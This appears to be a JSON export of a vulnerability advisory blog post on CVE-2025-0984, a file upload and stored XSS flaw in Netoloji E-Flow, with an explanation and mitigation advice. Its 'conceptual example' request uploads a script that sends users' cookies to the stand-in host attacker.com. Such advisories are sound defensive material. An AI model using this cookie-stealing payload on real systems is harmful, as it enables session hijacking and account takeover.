{"id":38030,"date":"2025-05-14T06:45:53","date_gmt":"2025-05-14T06:45:53","guid":{"rendered":""},"modified":"2025-05-30T17:25:57","modified_gmt":"2025-05-30T23:25:57","slug":"cve-2025-0984-critical-file-upload-and-xss-vulnerability-in-netoloji-software-e-flow","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-0984-critical-file-upload-and-xss-vulnerability-in-netoloji-software-e-flow\/","title":{"rendered":"<strong>CVE-2025-0984: Critical File Upload and XSS Vulnerability in Netoloji Software E-Flow<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-0984 vulnerability is a critical security flaw found in the Netoloji Software E-Flow versions before 3.23.00. This vulnerability allows for unrestricted file uploads of dangerous types and improper neutralization of input during web page generation, commonly known as Cross-Site Scripting (XSS). Such vulnerabilities are particularly concerning due to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4050-heap-corruption-in-google-chrome-devtools-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43102\">potential for system<\/a> compromise and data leakage. This issue brings to light the importance of proper access control lists (ACLs) and the dangers of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-52281-stored-xss-vulnerability-in-suse-rancher\/\"  data-wpil-monitor-id=\"42736\">stored XSS<\/a> and file content injection.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-0984<br \/>\nSeverity: High, 8.2 CVSS Score<br \/>\nAttack Vector: Web-based<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-49126-critical-vulnerability-in-solid-edge-se2023-allows-for-potential-system-compromise\/\"  data-wpil-monitor-id=\"43428\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3868012534\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Netoloji Software E-Flow | Before 3.23.00<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by leveraging the unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13418-critical-arbitrary-file-upload-vulnerability-in-multiple-wordpress-plugins-and-themes\/\"  data-wpil-monitor-id=\"42926\">file upload feature in the vulnerable<\/a> software. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35996-cross-site-scripting-attack-in-kunbus-pictory\/\"  data-wpil-monitor-id=\"42845\">attacker could upload a malicious script<\/a> disguised as a benign file. Once uploaded, this script could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45351-xiaomi-game-center-application-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"52132\">execute in the context of the web application<\/a>. This could then <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46739-unauthenticated-brute-force-attack-leads-to-account-compromise\/\"  data-wpil-monitor-id=\"46414\">lead to stored XSS attacks<\/a> where the attacker&#8217;s script gets stored on the server and served to users. This exploit also <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43563-coldfusion-improper-access-control-vulnerability-allowing-unauthorized-file-system-read\/\"  data-wpil-monitor-id=\"49442\">allows for file<\/a> content injection, modifying the contents of the existing files on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4294088628\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example illustrating the HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47462-cross-site-request-forgery-vulnerability-in-ohidul-islam-challan-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"43675\">request an attacker might use to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_file HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/javascript\n{ &quot;filename&quot;: &quot;malicious.js&quot;,\n&quot;content&quot;: &quot;&lt;script&gt;new Image().src=&#039;http:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;&quot; }<\/code><\/pre>\n<p>In this example, the attacker sends a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4827-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"52133\">POST request<\/a> to the &#8216;\/upload_file&#8217; endpoint of the target server. The request includes a malicious JavaScript file which, when executed, sends the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46827-graylog-open-log-management-platform-user-session-cookie-exposure\/\"  data-wpil-monitor-id=\"47647\">cookies of the current user<\/a> to the attacker&#8217;s server. This could be used to steal session cookies and impersonate users, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4347-d-link-router-buffer-overflow-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43596\">potentially leading<\/a> to unauthorized access and data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of Netoloji Software E-Flow are strongly advised to <a href=\"https:\/\/www.ameeba.com\/blog\/unpacking-politico-s-weekly-cybersecurity-update-a-deep-dive-into-the-latest-threat-landscape\/\"  data-wpil-monitor-id=\"50549\">update to the latest<\/a> version of the software. If this is not immediately possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can prevent the execution of unauthorized scripts and flag suspicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4279-critical-arbitrary-file-upload-vulnerability-in-wordpress-external-image-replace-plugin\/\"  data-wpil-monitor-id=\"43212\">file upload<\/a> attempts. However, these are temporary measures and updating the software to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2775-unauthenticated-xxe-vulnerability-in-sysaid-on-prem-versions-leading-to-administrator-account-takeover\/\"  data-wpil-monitor-id=\"43825\">version where the vulnerability<\/a> has been fixed is crucial for maintaining a secure environment.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-0984 vulnerability is a critical security flaw found in the Netoloji Software E-Flow versions before 3.23.00. This vulnerability allows for unrestricted file uploads of dangerous types and improper neutralization of input during web page generation, commonly known as Cross-Site Scripting (XSS). Such vulnerabilities are particularly concerning due to the potential for system compromise [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38030","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38030","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38030"}],"version-history":[{"count":14,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38030\/revisions"}],"predecessor-version":[{"id":46650,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38030\/revisions\/46650"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38030"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38030"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38030"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38030"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38030"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38030"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38030"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38030"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38030"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}